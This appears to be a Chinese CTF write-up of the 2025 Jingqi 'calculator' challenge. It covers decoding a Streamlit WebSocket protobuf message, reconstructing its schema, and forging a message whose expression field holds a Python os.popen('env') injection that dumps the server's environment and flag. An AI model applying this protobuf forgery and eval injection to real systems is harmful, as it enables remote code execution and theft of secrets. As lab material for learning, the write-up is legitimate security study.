2025京麒CTF挑战赛 计算器 WriteUP
师傅们好,我是A5rZ。中专二年级学生,我从初二开始接触网络安全,主方向WEB,次方向PWN/RE。
本人可高强度参赛,目前无队伍,如果有队伍需要成员并且愿意给我一个机会的话可以联系我。
Email: a5rz_work@163.com
QQ: 3843797062
计算器 – protobuf伪造
题目要求输入密码来解锁计算器自定义表达式功能,默认为1+1
题目似乎建立了 WebSocket连接并在其中发送加密内容
以下是发送test后完整的交换流程
->
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+1
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
<-
"å
¿
r
$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd*$6b4e4827-9bbd-5c53-86a8-e24c12ffd9fd2$32a464aa-d221-4563-a2b1-3e0c513e506d
1.45.13.9.22.final.0linux"2$75c23f59-1dbc-431b-a222-5970c921a738$8fe9a3c0-3a25-48ae-a19e-88b7942a413capp"app.py2(B"3f41e546893dc64b71aaacad12cad815J 3f41e546893dc64b71aaacad12cad815Z 3f41e546893dc64b71aaacad12cad815
<-
J
<-
41bb1aaeaecdc16c9ac61f7ac3da9068"" 3f41e546893dc64b71aaacad12cad815j
CTF Calculator
<-
6b97c51dfad1ea1f44d398a94d9109d8&3f41e546893dc64b71aaacad12cad815*ú
h1🔢 CTF Calculator
<-
322921a5318b81208dcc2b0beefde299&3f41e546893dc64b71aaacad12cad815*jhÂe
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd$Enter password to unlock calculator:
<-
08ca826ea49e54f0790b21e981b61727&" 3f41e546893dc64b71aaacad12cad815*FDÂA
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr
Expression1+1`j
<-
d3aa0dd3e7bab19fcdb5dc0a2040db01&3f41e546893dc64b71aaacad12cad815*;9ò6
.🔒 Incorrect password. Calculator is locked."
<-
4e31937ab2aae2e18ea8a957544ca41c&3f41e546893dc64b71aaacad12cad815*GEšB
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None Calculate: secondary
<-
9934c0351b91b25a216083f28722cd8a&3f41e546893dc64b71aaacad12cad815*òResult: 2"
<-
e7d7c16caee1f85e6de8c6fb0b6e04f6"" 3f41e546893dc64b71aaacad12cad815’Ø
E
set_page_configpage_titlestrlen:14
layoutstrlen:8 ×
!
title
bodystrlen:16(
Ntext_input
labelstrlen:36(
typestrlen:8
keystrlen:3 Ö
ktext_input
labelstrlen:10(
valuestrlen:3
disabledboolval:True
keystrlen:4 Ž
#
warning
bodystrlen:43( ·
"
button
labelstrlen:9( Ö
"
success
bodystrlen:9( ®—§*server.address*server.port:defaultBlinuxJ('UTC', 'UTC')P
<-
0
<-
J
->
{"messageType":"hello","broadcasts":{"remote-settings/monitor_changes":"\"1745074634037\""},"use_webpush":true}
->
{"messageType":"hello","uaid":"a33e0440188a4ef38ae80f54f99f6976","status":200,"use_webpush":true,"broadcasts":{"remote-settings/monitor_changes":"\"1748026399328\""}}
3f41e546893dc64b71aaacad12cad815多次出现,经过解密为app.py
MD5 在線免費解密 MD5、SHA1、MySQL、NTLM、SHA256、SHA512、Wordpress、Bcrypt 的雜湊
尝试无视密码直接篡改表达式
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+2
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
成功,返回了1+2的结果
3f41e546893dc64b71aaacad12cad815*òResult: 3"
经过测试发现表达式似乎最大为3个字符,大于即报错
Zց
1
)$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd2test
1
*$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr21+10
.
*$$ID-f53e53087333ef2b48a346eee6bf31cc-None 3f41e546893dc64b71aaacad12cad815"
DecodeError)Error parsing message with type 'BackMsg'™File "/usr/local/lib/python3.9/site-packages/streamlit/web/server/browser_websocket_handler.py", line 216, in on_messagemsg.ParseFromString(payload)2
发现是反序列化时出错,尝试伪造protobuf篡改表达式1+1
【python】【protobuf】逆向还原protobuf结构_python 解析proto文件-CSDN博客
good.tools · Protobuf Decoder
将第一条WebSocket消息以hex复制出来
5A 83 02 0A 00 12 9A 01 0A 35 0A 29 24 24 49 44 2D 38 38 39 65 32 64 30 65 63 62 63 62 64 34 32 63 36 64 32 34 66 63 66 66 63 65 65 61 37 65 65 32 2D 70 77 64 32 08 70 61 73 73 77 6F 72 64 0A 31 0A 2A 24 24 49 44 2D 38 62 35 37 31 38 63 36 37 62 31 63 62 38 31 66 61 65 61 31 35 35 31 66 31 62 65 65 36 30 65 31 2D 65 78 70 72 32 03 31 2B 31 0A 2E 0A 2A 24 24 49 44 2D 66 35 33 65 35 33 30 38 37 33 33 33 65 66 32 62 34 38 61 33 34 36 65 65 65 36 62 66 33 31 63 63 2D 4E 6F 6E 65 10 01 1A 20 33 66 34 31 65 35 34 36 38 39 33 64 63 36 34 62 37 31 61 61 61 63 61 64 31 32 63 61 64 38 31 35 22 00 2A 00 42 3C 0A 09 45 74 63 2F 47 4D 54 2D 38 10 A0 FC FF FF FF FF FF FF FF 01 1A 05 7A 68 2D 43 4E 22 1B 68 74 74 70 3A 2F 2F 33 39 2E 31 30 36 2E 31 36 2E 32 30 34 3A 31 32 34 33 37 2F 28 00
使用CyberChef解码
{"11": {"1": {},"2": {"1": [{"1": "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd","6": "password"},{"1": "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr","6": "1+1"},{"1": "$$ID-f53e53087333ef2b48a346eee6bf31cc-None","2": 1}]},"3": "3f41e546893dc64b71aaacad12cad815","4": {},"5": {},"8": {"1": "Etc/GMT-8","2": 18446744073709552000,"3": "zh-CN","4": "http://39.106.16.204:12437/","5": 0}}
}
使用人工智能还原.proto结构体
syntax = "proto3";message Root {Message11 field11 = 11; // 顶层字段,标签为 11
}message Message11 {Field2 field2 = 2; // 对应 JSON 中的键 "2",标签为 2string field3 = 3; // 对应 JSON 中的键 "3",标签为 3Field8 field8 = 8; // 对应 JSON 中的键 "8",标签为 8
}message Field2 {repeated Entry entries = 1; // 数组,标签为 1
}message Entry {string id = 1; // 对应 "1",标签为 1oneof value {string value_str = 6; // 字符串值,标签为 6int32 value_int = 2; // 整数值,标签为 2}
}message Field8 {string timezone = 1; // 标签为 1int64 timestamp = 2; // 修正为 int64(原数据是负数)string locale = 3; // 标签为 3string url = 4; // 标签为 4int32 some_flag = 5; // 标签为 5
}
编译文件为依赖代码
Releases · protocolbuffers/protobuf
./Protocol_Buffers/bin/protoc.exe --python_out=. ../../Root.proto
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# NO CHECKED-IN PROTOBUF GENCODE
# source: Root.proto
# Protobuf Python Version: 6.31.0
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import descriptor_pool as _descriptor_pool
from google.protobuf import runtime_version as _runtime_version
from google.protobuf import symbol_database as _symbol_database
from google.protobuf.internal import builder as _builder
_runtime_version.ValidateProtobufRuntimeVersion( _runtime_version.Domain.PUBLIC, 6, 31, 0, '', 'Root.proto'
)
# @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\nRoot.proto\"#\n\x04Root\x12\x1b\n\x07\x66ield11\x18\x0b \x01(\x0b\x32\n.Message11\"M\n\tMessage11\x12\x17\n\x06\x66ield2\x18\x02 \x01(\x0b\x32\x07.Field2\x12\x0e\n\x06\x66ield3\x18\x03 \x01(\t\x12\x17\n\x06\x66ield8\x18\x08 \x01(\x0b\x32\x07.Field8\"!\n\x06\x46ield2\x12\x17\n\x07\x65ntries\x18\x01 \x03(\x0b\x32\x06.Entry\"F\n\x05\x45ntry\x12\n\n\x02id\x18\x01 \x01(\t\x12\x13\n\tvalue_str\x18\x06 \x01(\tH\x00\x12\x13\n\tvalue_int\x18\x02 \x01(\x05H\x00\x42\x07\n\x05value\"]\n\x06\x46ield8\x12\x10\n\x08timezone\x18\x01 \x01(\t\x12\x11\n\ttimestamp\x18\x02 \x01(\x03\x12\x0e\n\x06locale\x18\x03 \x01(\t\x12\x0b\n\x03url\x18\x04 \x01(\t\x12\x11\n\tsome_flag\x18\x05 \x01(\x05\x62\x06proto3') _globals = globals()
_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, _globals)
_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'Root_pb2', _globals)
if not _descriptor._USE_C_DESCRIPTORS: DESCRIPTOR._loaded_options = None _globals['_ROOT']._serialized_start=14 _globals['_ROOT']._serialized_end=49 _globals['_MESSAGE11']._serialized_start=51 _globals['_MESSAGE11']._serialized_end=128 _globals['_FIELD2']._serialized_start=130 _globals['_FIELD2']._serialized_end=163 _globals['_ENTRY']._serialized_start=165 _globals['_ENTRY']._serialized_end=235 _globals['_FIELD8']._serialized_start=237 _globals['_FIELD8']._serialized_end=330
# @@protoc_insertion_point(module_scope)
根据报错猜测后端为eval(input()),语言为python
书写序列化内容生成器
from Root_pb2 import Root, Message11, Field2, Entry, Field8 # 初始化根对象
root = Root() # 自动创建 root.field11 的默认实例 # 无需 root.field11 = Message11(),直接操作 root.field11 的字段
root.field11.field3 = "3f41e546893dc64b71aaacad12cad815" # 直接初始化 field8root.field11.field8.timezone = "Etc/GMT-8"
root.field11.field8.timestamp = -57600
root.field11.field8.locale = "zh-CN"
root.field11.field8.url = "http://39.106.16.204:12437/"
root.field11.field8.some_flag = 0 # 构建 Field2 的条目列表
entries = [] # 添加条目(无需修改)
entry_pwd = Entry()
entry_pwd.id = "$$ID-889e2d0ecbcbd42c6d24fcffceea7ee2-pwd"
entry_pwd.value_str = "password"
entries.append(entry_pwd) entry_expr = Entry()
entry_expr.id = "$$ID-8b5718c67b1cb81faea1551f1bee60e1-expr"
entry_expr.value_str = "'hackd by A5rz->'+__import__('os').popen('env').read()"
entries.append(entry_expr) entry_none = Entry()
entry_none.id = "$$ID-f53e53087333ef2b48a346eee6bf31cc-None"
entry_none.value_int = 1
entries.append(entry_none) # 直接扩展 entries 列表
root.field11.field2.entries.extend(entries) # 序列化为字节
proto_data = root.SerializeToString() # 保存数据
with open("modified_data.bin", "wb") as f: f.write(proto_data)
在burp中选择从文件中粘贴,修改WebSocket对话内容
从环境变量中获得flag
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256Result: hackd by A5rz->KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://192.168.0.1:443
MPLBACKEND=Agg
HOSTNAME=t68310670004748851-comp-my-calc-76737187114157123xhzzt
HOME=/home/ctfuser
GPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568
PYTHON_SHA256=8c136d199d3637a1fce98a16adc809c1d83c922d02d41f3614b34f8b6e7d38ec
KUBERNETES_PORT_443_TCP_ADDR=192.168.0.1
PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
LANG=C.UTF-8
MAPBOX_API_KEY=
PYTHON_VERSION=3.9.22
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443
KUBERNETES_SERVICE_HOST=192.168.0.1
PWD=/home/ctfuser/app
FLAG=flag{2e0c9bb2-ccb3-4fda-9c09-eb92fc67e6f2}"
-----BEGIN PGP SIGNATURE-----
Version: OpenPGP.js v4.10.10
Comment: https://openpgpjs.orgwsBzBAEBCAAGBQJoMZqIACEJEDaKOULpRclKFiEEQJMQj+ftxPUcmoFgNoo5
QulFyUqO1ggAliFLRQKejhKs1V8ZgTRkHkTTpl4coyWO3KWwoGQ4wuz2GEPQ
79+fDsR5jcuPHswtlN2z08VKS3i+bWHMn9/72rK0mxRSP9gOHDwzLaWz/qXg
kacZe/M05f5q+8NQzpBPxljYm7G5SZFCGOAOW3QRCHUo7xVqOhJqB0i+74iM
FUwgE3TEQx3/r3yQsCXKhuqmrjbVaaQhXa7Y6Y/HMDX+PjjincUfUJ3+moR4
HaIRv6xg404+XU/SpoolWGAFC5vZXyw866BitzJ0l8pZYTSiA94nBPIfyV8C
Y0p0IV446XsPktYALZbVO57OL33BIDjsZ952YGgBHFLBKB8BVOwhaA==
=3H/j
-----END PGP SIGNATURE-----
文章转载请携带完整签名